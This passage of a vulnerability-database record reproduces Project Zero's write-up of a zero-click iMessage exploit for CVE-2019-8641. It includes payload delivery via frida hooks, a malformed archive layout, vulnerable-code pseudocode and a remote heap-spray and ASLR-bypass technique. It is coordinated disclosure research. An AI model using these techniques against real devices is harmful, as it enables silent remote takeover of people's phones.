"THN:BC46175420BE934D07B4CB081F495CCB", "THN:C19BDA30D2242223E7A434F1E4051E68"]}, {"type": "threatpost", "idList": ["THREATPOST:65CDAAFAA856DA03BD3115E8BC92F1A0", "THREATPOST:B84F22695A74E8F253EEEB07BE113A5B", "THREATPOST:B8AF83007523DF3B48792EDBDB3DB079", "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "THREATPOST:F9C72E526BBB62D96B4E4E624AFFFF54", "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C"]}, {"type": "zdt", "idList": ["1337DAY-ID-32762", "1337DAY-ID-33062", "1337DAY-ID-33284", "1337DAY-ID-33484"]}]}, "score": {"value": 9.4, "vector": "NONE"}, "backreferences": {"references": [{"type": "apple", "idList": ["APPLE:0B002AB816638E74B596AA40B55E1D50", "APPLE:100C3E37B89C4B8E50DE097059456EC2", "APPLE:1E452AB09BD018501C8ED03BD6811E97", "APPLE:322F877E419F20C64E54D0BBA8C1399A", "APPLE:41FD160DB043905B84F762A4AC705243", "APPLE:42A8665131AAD41DD01DD2DE9BBDEBC5", "APPLE:466BEDED69CFA24057993B0F7E611178", "APPLE:48DFAA81838B82F0614B9A03F99F251D", "APPLE:819AEF513AB880D6C4F6CA66CB3C0021", "APPLE:8962973934F6CCC5756D8D4DB8D1F37F", "APPLE:94AE87E523DE7DA7141C877658AAFAAF", "APPLE:HT210122", "APPLE:HT210346", "APPLE:HT210348", "APPLE:HT210351", "APPLE:HT210353", "APPLE:HT210548", "APPLE:HT210549", "APPLE:HT210550", "APPLE:HT210588", "APPLE:HT210589", "APPLE:HT210590", "APPLE:HT210606"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-1098"]}, {"type": "cve", "idList": ["CVE-2019-8605", "CVE-2019-8641", "CVE-2019-8646"]}, {"type": "exploitdb", "idList": ["EDB-ID:46892"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:A949B008F38AEF72665598CB7C12FD89"]}, {"type": "githubexploit", "idList": ["3D3DC121-B34B-5068-A4B3-BD6A0C521971", "44DF7B65-442B-571C-BC5C-3C4356DFE2BF"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:1207813731774186F9A98E4FD3472E6D", "GOOGLEPROJECTZERO:1863643ADC4EF2ABEE526299696C931D", "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "GOOGLEPROJECTZERO:4379524F316D6C7FA6682653798DC052", "GOOGLEPROJECTZERO:484F15FB833183203B1090176F5B292A", "GOOGLEPROJECTZERO:583848E2AA028400AD8E69515795E246", "GOOGLEPROJECTZERO:63C5590C80947E05972B1E741DE19C77", "GOOGLEPROJECTZERO:6555AE6CE499D9D30373C3D7100AD02F", "GOOGLEPROJECTZERO:7252C6A752FFE952836D88899C945E7F", "GOOGLEPROJECTZERO:76E99C997C0BF24DFC97575D112E2FE8", "GOOGLEPROJECTZERO:8D9092AAADD845D0E49147A5BA49EA02", "GOOGLEPROJECTZERO:8F5F85400267DF1EFD1897A0E2FF0671", "GOOGLEPROJECTZERO:A46B3136EBE92DFE53548BB20EFF1ABC", "GOOGLEPROJECTZERO:B6FB33FF19AE0AD0E463FE10F35B3778", "GOOGLEPROJECTZERO:EF1A7F815096A60102501F0E31BD67D4", "GOOGLEPROJECTZERO:F5CF6A432B61D584C074F681DBED3349"]}, {"type": "nessus", "idList": ["APPLETV_12_3.NASL", "APPLETV_12_4.NASL", "APPLETV_12_4_1.NASL", "MACOSX_SECUPD2019-003.NASL", "MACOSX_SECUPD2019-004.NASL", "MACOS_10_14_5.NASL", "MACOS_10_14_6.NASL", "MACOS_HT210589.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310814888", "OPENVAS:1361412562310815425", "OPENVAS:1361412562310815426"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152993"]}, {"type": "thn", "idList": ["THN:38E80608368A67C138D1E4D8187D2AA3", "THN:41F66983564CEDB5C54CCEB8BE4F793F"]}, {"type": "threatpost", "idList": ["THREATPOST:0F9EDE9A622A021B9B79C50214D7E8AD", "THREATPOST:B84F22695A74E8F253EEEB07BE113A5B", "THREATPOST:CBFAA2319AF4281EC1DD5C4682601942", "THREATPOST:DCE54029E2039178B6F2685D0BF8C518"]}, {"type": "zdt", "idList": ["1337DAY-ID-32762", "1337DAY-ID-33062", "1337DAY-ID-33284", "1337DAY-ID-33484"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2019-8605", "epss": 0.00133, "percentile": 0.47064, "modified": "2023-05-07"}, {"cve": "CVE-2019-8641", "epss": 0.0314, "percentile": 0.89647, "modified": "2023-05-07"}, {"cve": "CVE-2019-8646", "epss": 0.06095, "percentile": 0.92401, "modified": "2023-05-07"}], "vulnersScore": 9.4}, "_state": {"dependencies": 1686103629, "score": 1686103495, "epss": 0}, "_internal": {"score_hash": "b7910be6a17f1872ab168878dbe386c9"}}
{"googleprojectzero": [{"lastseen": "2023-06-07T02:00:38", "description": "## Posted by Samuel Gro\u00df, Project Zero \n \nIntroduction\n\nThis is the first blog post in a three-part series that will detail how a vulnerability in iMessage can be exploited remotely without any user interaction on iOS 12.4 (fixed in iOS 12.4.1 in August 2019). It is essentially a more detailed version of my [36C3 talk from December 2019](<https://media.ccc.de/v/36c3-10497-messenger_hacking_remotely_compromising_an_iphone_through_imessage>).\n\n** \n**\n\nThe first part of the series provides an in-depth discussion of the vulnerability, the [second part](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) presents a technique to remotely break ASLR, and the [third part](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html>) explains how to gain remote code execution afterwards.\n\n** \n**\n\nThe attack presented in this series allows an attacker, who is only in possession of a user\u2019s Apple ID (mobile phone number or email address), to remotely gain control over the user\u2019s iOS device within a few minutes. Afterwards, an attacker could exfiltrate files, passwords, 2FA codes, SMS and other messages, emails and other user and app data. They could also remotely activate the microphone and camera. All of this is possible without any user interaction (e.g. opening a URL sent by an attacker) or visual indicator (e.g. notifications) being displayed to the user. The attack exploits a single vulnerability, [CVE-2019-8641](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917>) to first bypass ASLR, then execute code on the target device outside of the sandbox.\n\n** \n**\n\nThis research was mainly motivated by the following question: given only a remote memory corruption vulnerability, is it possible to achieve remote code execution on an iPhone without further vulnerabilities and without any form of user interaction? This blog post series shows that this is in fact possible.\n\n** \n**\n\nThe vulnerability was found as part of a joint vulnerability research project with Natalie Silvanovich and [reported to Apple on July 29 2019](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917>), followed by the proof-of-concept exploit on August 9, 2019. The vulnerability was first mitigated in iOS 12.4.1, released on August 26, by [making the vulnerable code unreachable over iMessage](<https://twitter.com/5aelo/status/1172534071332917248>), then fully fixed in iOS 13.2, released on October 28 2019. Further hardening measures were suggested based on insights gained during exploit development, which, if implemented, should make similar exploits significantly harder in the future. As some of these hardening measures are also relevant to other messenger services and (mobile) operating systems, they will be mentioned throughout this series and summarized at the end of it.\n\n** \n**\n\nFor security researchers, a proof-of-concept exploit targeting iOS 12.4 on the iPhone XS is available [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917#c6>). In order to hinder abuse, it deliberately alerts the victim of an ongoing attack by displaying multiple notifications throughout the exploitation process. Furthermore, it does not achieve native code execution (i.e. shellcode execution), thus making it more difficult to combine it with an existing privilege escalation exploit. However, none of these restrictions require further vulnerabilities to remedy and only require re-engineering of the exploit by a capable attacker. The in-built restrictions and notifications are merely designed to stop abuse by unskilled attackers simply running the code. It should be noted that skilled attackers likely already have the capability offered by the released exploit code, either from finding vulnerabilities themselves, from reverse engineering patches as [has been observed before](<https://googleprojectzero.blogspot.com/2019/08/jsc-exploits.html>), or, as 1-day exploit, by for example combining [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>), a remote infoleak bug, with any of the [other memory corruption bugs that were found](<https://bugs.chromium.org/p/project-zero/issues/list?q=product%3AiMessage&can=1>). \n\n** \n**\n\nAs usual, my hope is that this research will assist fellow security researchers and software developers by showing how well-intentioned mitigations can be bypassed, how modern exploitation techniques work and sharing some ideas that I have for ensuring that the weak spots that I've highlighted can be subsequently mitigated.\n\n** \n**\n\n## iMessage Architecture\n\n** \n**\n\nIncoming iMessages pass through multiple services and frameworks before a notification is finally displayed to the user and the message is written to the messages database. The main services handling iMessages on iOS 12.4 without requiring user interaction are depicted below. A red border indicates the existence of a sandbox for the process.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3sdkoYriqyl94fCMQUAKQnia67aU3sGBiwz4fDRwSYgHRZvJP7sYg1c25zw1Ry9n-RZUMUELWbS6w6WEO3I5cgTIbvhR_cr-bgJLcxb461eiQKeXqpXN8WLoBiggOc-m8YPn-PaSO_2v4Ur6xDLqvD8q5pXvOUm_u4OacF_zzi_AB4WmTnyiEzRXn/s2048/iMessage.png>)\n\nThe remotely reachable attack surface, including the notoriously complex [NSKeyedUnarchiver API](<https://developer.apple.com/documentation/foundation/nskeyedunarchiver?language=objc>), as well as the iMessage data format, have been described extensively by Natalie Silvanovich in a [previous blog post](<https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html>). For the purpose of this blog post series, it is important to realize that a vulnerability in the NSKeyedUnarchiver API can generally be triggered in two different contexts: in the sandboxed imagent and in the unsandboxed SpringBoard process (which manages the main iOS UI, including the homescreen). Both contexts have their advantages and disadvantages with regards to exploitation. For example, while SpringBoard already runs outside of the sandbox and thus appears to be the better target at first, it is also a somewhat critical system process and crashing it will cause a noticeable \u201crespring\u201d of the device, with the screen suddenly turning black and a loading icon appearing for a few seconds before the lock screen appears. Imagent on the other hand can safely crash without causing any system behaviour that might be observable to the user and will afterwards simply be restarted.\n\n** \n**\n\nAs of iOS 13, it appears that decoding of NSKeyedUnarchiver data no longer happens inside of SpringBoard but instead in the sandboxed IMDPersistenceAgent, thus significantly reducing the unsandboxed attack surface of iMessage.\n\n## iMessage Delivery\n\n** \n**\n\nIn order to deliver an exploit over iMessage, one needs to be able to send custom iMessages to the target. This requires interacting with Apple\u2019s servers and dealing with iMessage\u2019s end2end encryption. An easy way to do this, which was used for this research, is to reuse the existing code by hooking into the iMessage handling code inside imagent with a tool like [frida](<https://frida.re/>). With that, sending a custom iMessage from a script running on macOS can be done by:\n\n** \n**\n\n 1. Building the desired payload (e.g. to trigger an NSKeyedUnarchiver bug) and storing it to disk\n\n 2. Calling a small apple script that instructs Messages.app to send a message with a placeholder content (e.g. \u201cREPLACEME\u201d) to the target\n\n 3. Hooking imagent with frida and replacing the content of outgoing iMessages containing the placeholder with the content of the payload file\n\n** \n**\n\nIn the same way it is also possible to receive incoming messages by using frida to hook the receiver functions in imagent.\n\n** \n**\n\nAs an example, the following iMessage (encoded as a [binary plist](<https://en.wikipedia.org/wiki/Property_list#macOS>)), will be sent to the receiver when sending the message \u201cREPLACEME\u201d from Messages.app:\n\n** \n**\n\n{\n\ngid = \"008412B9-A4F7-4B96-96C3-70C4276CB2BE\";\n\ngv = 8;\n\np = (\n\n\"mailto:sender@foo.bar\",\n\n\"mailto:receiver@foo.bar\"\n\n);\n\npv = 0;\n\nr = \"6401430E-CDD3-4BC7-A377-7611706B431F\";\n\nt = \"REPLACEME\";\n\nv = 1;\n\nx = \"<html><body>REPLACEME</body></html>\";\n\n}\n\n** \n**\n\nThe frida hook will then modify the message before it is serialized, encrypted, and sent to Apple\u2019s servers:\n\n** \n**\n\n{\n\ngid = \"008412B9-A4F7-4B96-96C3-70C4276CB2BE\";\n\ngv = 8;\n\np = (\n\n\"mailto:sender@foo.bar\",\n\n\"mailto:receiver@foo.bar\u201d\n\n);\n\npv = 0;\n\nr = \"6401430E-CDD3-4BC7-A377-7611706B431F\";\n\nt = \"REPLACEME\";\n\nv = 1;\n\nx = \"<html><body>REPLACEME</body></html>\";\n\nati = <content of /private/var/tmp/com.apple.messages/payload>;\n\n}\n\n** \n**\n\nThis will then cause imagent on the receiver\u2019s device to decode the data in the ati field using the NSKeyedUnarchiver API. Example code that allows sending custom messages and dumping incoming ones can be found [here](<https://github.com/googleprojectzero/iOS-messaging-tools/tree/master/iMessage>).\n\n** \n**\n\n## CVE-2019-8641\n\n** \n**\n\nThe bug that was used for this research is CVE-2019-8641, corresponding to [Project Zero issue 1917](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917>). It is another bug in the NSKeyedUnarchiver component which has been discussed in depth by Natalie. While it is likely that [other memory corruption bugs](<https://bugs.chromium.org/p/project-zero/issues/list?q=label%3AProduct-iMessage&can=1>) found in the NSKeyedUnarchiver components during this research can be exploited in a similar way, this one seemed the most convenient to exploit.\n\n** \n**\n\nThe bug in question occurs during unarchiving of an NSSharedKeyDictionary, a special kind of [NSDictionary](<https://developer.apple.com/documentation/foundation/nsdictionary?language=objc>) in which the keys are declared up front in an NSSharedKeySet to allow for faster element access. Further, an NSSharedKeySet can itself have a subSharedKeySet, essentially building a linked list of KeySets. \n\n** \n**\n\nTo understand the vulnerability, it is first necessary to take a look at the NSKeyedUnarchiver serialization format. Below is a simple archive containing a serialized NSSharedKeyDictionary as printed by plutil(1) (NSKeyedArchiver encodes the object graph as a plist) and with some comments added to it:\n\n** \n**\n\n{\n\n\"$archiver\" => \"NSKeyedArchiver\"\n\n# The objects contained in the archive are stored in this array\n\n# and can be referenced during decoding using their index\n\n\"$objects\" => [\n\n# Index 0 always contains the nil value\n\n0 => \"$null\"\n\n# The serialized NSSharedKeyDictionary\n\n1 => {\n\n\"$class\" => <CFKeyedArchiverUID>{value = 7}\n\n\"NS.count\" => 0\n\n\"NS.sideDic\" => <CFKeyedArchiverUID>{value = 0}\n\n\"NS.skkeyset\" => <CFKeyedArchiverUID>{value = 2}\n\n}\n\n# The NSSharedKeySet associated with the dictionary \n\n2 => {\n\n\"$class\" => <CFKeyedArchiverUID>{value = 6}\n\n\"NS.algorithmType\" => 1\n\n\"NS.factor\" => 3\n\n\"NS.g\" => <00>\n\n\"NS.keys\" => <CFKeyedArchiverUID>{value = 3}\n\n\"NS.M\" => 6\n\n\"NS.numKey\" => 1\n\n\"NS.rankTable\" => <00000000 0001>\n\n\"NS.seed0\" => 361949685\n\n\"NS.seed1\" => 2328087422\n\n\"NS.select\" => 0\n\n\"NS.subskset\" => <CFKeyedArchiverUID>{value = 0}\n\n}\n\n# The keys of the NSSharedKeySet \n\n3 => {\n\n\"$class\" => <CFKeyedArchiverUID>{value = 5}\n\n\"NS.objects\" => [\n\n0 => <CFKeyedArchiverUID>{value = 4}\n\n]\n\n}\n\n# The value of the first (and only) key\n\n4 => \"the_key\"\n\n# ObjC classes are stored in this format\n\n5 => {\n\n\"$classes\" => [\n\n0 => \"NSArray\"\n\n1 => \"NSObject\"\n\n]\n\n\"$classname\" => \"NSArray\"\n\n}\n\n6 => {\n\n\"$classes\" => [\n\n0 => \"NSSharedKeySet\"\n\n1 => \"NSObject\"\n\n]\n\n\"$classname\" => \"NSSharedKeySet\"\n\n}\n\n7 => {\n\n\"$classes\" => [\n\n0 => \"NSSharedKeyDictionary\"\n\n1 => \"NSMutableDictionary\"\n\n2 => \"NSDictionary\"\n\n3 => \"NSObject\"\n\n]\n\n\"$classname\" => \"NSSharedKeyDictionary\"\n\n}\n\n]\n\n# A reference to the root object in the archive\n\n\"$top\" => {\n\n\"root\" => <CFKeyedArchiverUID>{value = 1}\n\n}\n\n\"$version\" => 100000\n\n}\n\n** \n**\n\nOne thing to note here is that this serialization format supports references to the objects contained in it through the CFKeyedArchiverUID values. During unarchiving, the NSKeyedUnarchiver will keep a mapping of UIDs to objects, so that a single object can be referenced from multiple other objects in the same archive. Furthermore, the reference is added to the map before the object\u2019s initWithCoder method (the constructor used during unarchiving) is invoked. As such, it becomes possible to decode cyclic object graphs, in which case an object can be referenced while it is currently being unarchived further up in the callstack. Interestingly, in that case the first object may not yet be fully initialized when it is referenced. This creates potential for bugs and is exactly what happens for CVE-2019-8641.\n\n** \n**\n\nBelow is Objective-C (ObjC) pseudocode for the initWithCoder implementations of the NSSharedKeyDictionary and NSSharedKeySet classes. Readers unfamiliar with ObjC can think of code constructs such as\n\n** \n**\n\n[obj doXWith:y and:z];\n\n** \n**\n\nas a method call on an object, similar to\n\nobj->doX(y, z);\n\n** \n**\n\nin C++.\n\n** \n**\n\n 1. -[NSSharedKeyDictionary initWithCoder:coder] {\n\n 2. self->_keyMap = [coder decodeObjectOfClass:[NSSharedKeySet class]\n\n 3. forKey:\"NS.skkeyset\"];\n\n 4. // ... decode values etc.\n\n 5. }\n\n** \n**\n\n 1. -[NSSharedKeySet initWithCoder:coder] {\n\n 2. self->_numKey = [coder decodeInt64ForKey:@\"NS.numKey\"];\n\n 3. self->_rankTable = [coder decodeBytesForKey:@\"NS.rankTable\"];\n\n 4. // ... copy more fields from the archive\n\n 5. \n\n 6. self->_subSharedKeySet = [coder \n\n 7. decodeObjectOfClass:[NSSharedKeySet class]\n\n 8. forKey:@\"NS.subskset\"]];\n\n 9. \n\n 10. NSArray* keys = [coder decodeObjectOfClasses:[...] \n\n 11. forKey:@\"NS.keys\"]];\n\n 12. if (self->_numKey != [keys count]) {\n\n 13. return fail(\u201cInconsistent archive);\n\n 14. }\n\n 15. self->_keys = calloc(self->_numKey, 8);\n\n 16. // copy keys into _keys\n\n 17. \n\n 18. // Verify that all keys can be looked up\n\n 19. for (id key in keys) {\n\n 20. if ([self indexForKey:key] == -1) {\n\n 21. NSMutableArray* allKeys = [NSMutableArray arrayWithArray:keys];\n\n 22. [allKeys addObjectsFromArray:[self->_subSharedKeySet allKeys]];\n\n 23. return [NSSharedKeySet keySetWithKeys:allKeys];\n\n 24. }\n\n 25. }\n\n 26. }\n\n** \n**\n\nThe implementation of the indexForKey routine, which is invoked at the end of initWithCoder (line 20), is given below. It uses a hash of the key to index into _rankTable and uses the result as an index into _keys. It recursively searches for the key in the subSharedKeySet until it finds it or no more subSharedKeySets are available:\n\n** \n**\n\n 1. -[NSSharedKeySet indexForKey:] {\n\n 2. NSSharedKeySet* current = self;\n\n 3. uint32_t prevLength = 0;\n\n 4. while (current) {\n\n 5. // Compute a hash from the key and other internal values of \n\n 6. // the KeySet. Convert the hash to an index and ensure that it \n\n 7. // is within the bounds of rankTable\n\n 8. uint32_t rankTableIndex = ...;\n\n 9. uint32_t index = self->_rankTable[rankTableIndex];\n\n 10. if (index < self->_numKey) {\n\n 11. id candidate = self->_keys[index];\n\n 12. if (candidate != nil) {\n\n 13. if ([key isEqual:candidate]) {\n\n 14. return prevLength + index;\n\n 15. }\n\n 16. }\n\n 17. prevLength += self->_numKey;\n\n 18. current = self->_subSharedKeySet;\n\n 19. }\n\n 20. return -1;\n\n 21. }\n\n** \n**\n\nGiven the above logic, the following object graph will lead to memory corruption when deserialized:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4tg19oleRzZfd97KOpA2166L9gglCpjbfvg6Apze3QJD_GNGErAeDDzOc0ZPM40_XJ5Qt31ri87u-JK2VZbwEb7FYiItGbrayPvggwbEkMsLYjdpTsStZ9nX15uUMnpMxfYz8EPainmQejojlXCTFcqJePoaameoYmCRfcIHMBY1sj5ahklHljdAq/s2048/Bug.png>)\n\nHere is what happens during unarchiving:\n\n 1. The NSSharedKeyDictionary is unarchived, in turn unarchiving its SharedKeySet\n\n 2. SharedKeySet1\u2019s initWithCoder runs up to the point where it unarchives its subSharedKeySet (line 6). At this point\n\n * _numKey is fully controlled by the attacker as no check has been performed on it yet (that will only happen after _keys has been unarchived)\n\n * _rankTable is also fully controlled\n\n * _keys is still nullptr (as ObjC objects are allocated via calloc)\n\n 3. SharedKeySet2 is completely unarchived. Its subSharedKeySet is now a reference to SharedKeySet1 (which is still being unarchived). At the end, it invokes indexForKey: for all keys in its _keys array (line 20)\n\n 4. As SharedKeySet2\u2019s rankTable is all zeros, only the first key can be looked up on itself (see lines 8 through 15 in indexForKey:). The second key will then be looked up on SharedKeySet1. Here, as _numKey and _rankTable\u2019s content are fully controlled, the code will, in line 10, index into _keys (which is nullptr) with a controlled index, causing a crash.\n\n** \n**\n\nThe following picture shows the slightly simplified callstack at the time of the crash: \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4M4WdGiRUjZGF1BwwpUqzSNkQJ5e2pM2_GixnDCiP8h4Bl2xoUT_sS0DsAXaEJ1H6beVpTMS9ESlypS4NP-dQTqoF-Ce5EaA3mpdFUAWiH8eYSzbT5qGxJMG-Tk-bLsX2Sbhm1-bmTAc69mgfnQ8ue9b2sOrP6C3LBTCAR_XZ3EBSO22TPeYtbbpT/s1795/Callstack.png>)\n\nAs a result of this, a mostly arbitrary address (in this case 0x41414140, as the index is multiplied by 8, the element size) is now dereferenced and the result used as an ObjC object pointer (an \u201c[id](<https://developer.apple.com/documentation/objectivec/id?language=objc>)\u201d). There are, however, two restrictions on the addresses that can be accessed with this bug:\n\n** \n**\n\n 1. The address must be cleanly divisible by 8 (as the _keys array stores pointer sized values) and\n\n 2. it must be less than 32G as the index is a 4 byte unsigned integer\n\n** \n**\n\nLuckily, at least on iOS, most (all?) interesting things in memory are located below 0x800000000 (32G) and thus become accessible using this primitive.\n\n** \n**\n\nAs it turns out, even a seemingly uninteresting null pointer dereference can become a pretty powerful exploit primitive under the right circumstances... :)\n\n \n\n\nAt this point no information about the target process\u2019 address space is available. As such, some kind of information leak must first be constructed. This will be the topic of the [next blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>).\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "googleprojectzero", "title": "\nRemote iPhone Exploitation Part 1: Poking Memory via iMessage and CVE-2019-8641\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641", "CVE-2019-8646"], "modified": "2020-01-09T00:00:00", "id": "GOOGLEPROJECTZERO:7252C6A752FFE952836D88899C945E7F", "href": "https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-07T02:00:38", "description": "Posted by Samuel Gro\u00df, Project Zero \n \nThis post is the second in a series about a remote, interactionless iPhone exploit over iMessage.The first blog post, which introduced the exploited vulnerability, can be found [here](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html>).\n\n** \n**\n\nThe initial primitive gained from the vulnerability is an absolute address dereference in which the read value is afterwards used as an ObjC object. As such, some knowledge of the target address space is required in order to exploit this vulnerability for remote code execution. This blog post describes a way to defeat ASLR remotely without any additional information disclosure vulnerabilities. \n\n** \n**\n\nFirst off, the effectiveness of an old technique, heap spraying, is evaluated. Afterwards, a technique is described through which it is possible to infer the base address of the dyld shared cache region given only a memory corruption bug. The released code implements the presented attack and can infer the shared cache base address remotely on vulnerable devices within a couple of minutes.\n\n## Heap Spraying on iOS\n\n** \n**\n\nThe goal of heap spraying is to put data of the attacker\u2019s choosing at a known address so that it can be referenced during the exploitation process. Heap spraying should be less effective today than [it was 15 years ago](<https://www.exploit-db.com/exploits/612>) due to ASLR and a 64-bit address space. However, it turns out that on iOS the technique is still fairly usable. In fact, only about 256MB of data need to be sprayed to put controlled data at a known address. This can easily be demonstrated with the following code snippet:\n\n** \n**\n\nconst size_t size = 0x4000;\n\nconst size_t count = (256 * 1024 * 1024) / size;\n\nfor (int i = 0; i < count; i++) {\n\nint* chunk = malloc(size);\n\n*chunk = 0x41414141;\n\n}\n\n// Now look at the memory at 0x110000000\n\n** \n**\n\nRunning this in on iOS (e.g. as part of a custom App) will put 0x41414141 at address 0x110000000:\n\n(lldb) x/gx 0x110000000\n\n0x110000000: 0x0000000041414141\n\n****\n\n## Heap Spraying via iMessage\n\nThe next question then is how to best spray a few hundred megabytes of data remotely over iMessage. Basically, there are two ways to do that:\n\n** \n**\n\n 1. By abusing a memory leak (not an information leak!), a bug in which a chunk of memory is \u201cforgotten\u201d and never freed, and triggering it multiple times until the desired amount of memory has been leaked.\n\n 2. By finding and abusing an \u201camplification gadget\u201d: a piece of code that takes an existing chunk of data and copies it, potentially multiple times, thus allowing the attacker to spray a large amount of memory by only sending a relatively small number of bytes.\n\n** \n**\n\nAs it turns out, the NSKeyedUnarchiver API provides both primitives and this exploit actually combines the two: it sends messages of around 100kB, which seems to be the maximum size of inline data, and with that sprays around 32MB of heap data. It then leaks those 32MB and repeats the procedure a couple of times to perform the full heap spray.\n\n** \n**\n\nHowever, it is likely possible to perform the entire spray in a single message by using downloaded attachments (the pbdi key). That way the memory leak wouldn\u2019t be necessary and the bug could be triggered multiple times if necessary. This is left as an exercise for the reader.\n\n** \n**\n\nThere are many places in the NSKeyedUnarchiver subsystem where memory is leaked. One example are cyclic object graphs, which will never be cleaned up as they keep each other alive - a reference cycle. There is also another way: __NSKeyedCoderOldStyleArrays, which are used during decoding of [NSValues](<https://developer.apple.com/documentation/foundation/nsvalue>), and can, due to a quirk in the NSKeyedUnarchiver, always be deserialized regardless of the set of allowed classes. A __NSKeyedCoderOldStyleArray stores its size and a pointer to a malloced chunk containing a number of same-type values, e.g. integers, c-strings, or ObjC objects. Interestingly, when the __NSKeyedCoderOldStyleArray is destroyed, it only frees its backing memory but does not recursively free the objects contained in it. As such, if the array contains pointers to other memory chunks, such as ObjC objects, memory is leaked. This is normally fine, as a __NSKeyedCoderOldStyleArray is only used to temporarily decode the array values of an NSValue. However, as it can also be decoded as a standalone object, it becomes possible to leak a large number of ObjC objects with it.\n\n** \n**\n\nAs for the amplification gadget, ACZeroingString instances appear to be the perfect candidate, having already been (ab)used in Natalie\u2019s [exploit for CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>). As part of its initWithCoder, an ACZeroingString will take an existing NSData object and copy its content into a newly malloc\u2019ed memory chunk.\n\n** \n**\n\nWith that, the object graph to spray around 32MB of heap data looks like this:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyEPh_rSDhaDpiomdeSSV0hQ8sh5DpJ1luFCUyjsrocBYiaPuhyfW9-_9V4zVHZuciq0zCUrR7e3NQxs6BneorxZzbsMJ90SXcpUK99LpfeQbwv1RlzQKw5Y_ObbYzpC3EOlJtQUq3ipjeiYPsEbsKMjHRvygnkSXmZKtIMRsCmL1n3kJSwapbZNGr/s2048/HeapSpray.png>) Here, each ACZeroingString instance copies the NSData\u2019s content into a new malloc buffer and the __NSKeyedCoderOldStyleArray keeps all those ACZeroingString instances alive even after the current message has been fully processed. After sending around 8 of these messages, controlled data will be located at 0x110000000. \n** \n**\n\nHaving controlled data at a known address is a first step, but likely not enough. Given the existing exploit primitive, it would now be possible to create fake ObjC objects in the heapspray region and have them be used in [NSSharedKeySet indexForKey:]. However, as the heapspray content is not executable, it is necessary to know the address of code pages before faking objects really becomes possible. How this can be achieved will be discussed next, after a short introduction to some ObjC internals.\n\n## Objective-C for the ASLR Bypasser\n\n** \n**\n\nShown next is the relevant code snippet from [NSSharedKeySet indexForKey:] in which the read from a controlled address happens:\n\n** \n**\n\n// index is fully controlled, _keys is nullptr\n\nid candidate = self->_keys[index];\n\nif (candidate != null) {\n\nif ([key isEqual:candidate]) {\n\nreturn prevLength + index;\n\n}\n\n}\n\n** \n**\n\nThe [id](<https://developer.apple.com/documentation/objectivec/id?language=objc>) type that is used here represents a reference to an ObjC object for which no more type information is available, not unlike a void* in C. However, unlike C, ObjC has runtime type information, so it is always possible to determine the exact type of an object at runtime, for example through the [isKindOfClass](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1418511-iskindofclass?language=objc>) method. \n\nFurther, ObjC supports pointer tagging and so a pointer to an ObjC object, for example an id, can generally be one of two things:\n\n 1. An actual pointer to an ObjC object\n\n 2. A pointer-sized value containing both the type and value information\n\n** \n**\n\nThe layout of objects will be discussed in the next post, where it will be relevant for gaining code execution. However, for this blog post it is already necessary to take a closer look at ObjC tagged pointers.\n\n** \n**\n\n[NSNumbers](<https://developer.apple.com/documentation/foundation/nsnumber?language=objc>) and very short [NSStrings](<https://developer.apple.com/documentation/foundation/nsstring>) are examples for tagged pointers. On Arm64, an id is considered a tagged pointer if [its MSB is set](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-config.h#L79>). In that case, the corresponding class is [stored in a global table](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L656>) to which an index is encoded in the tagged pointer. With that, an NSNumber instance storing a 32-bit integer (in ObjC: 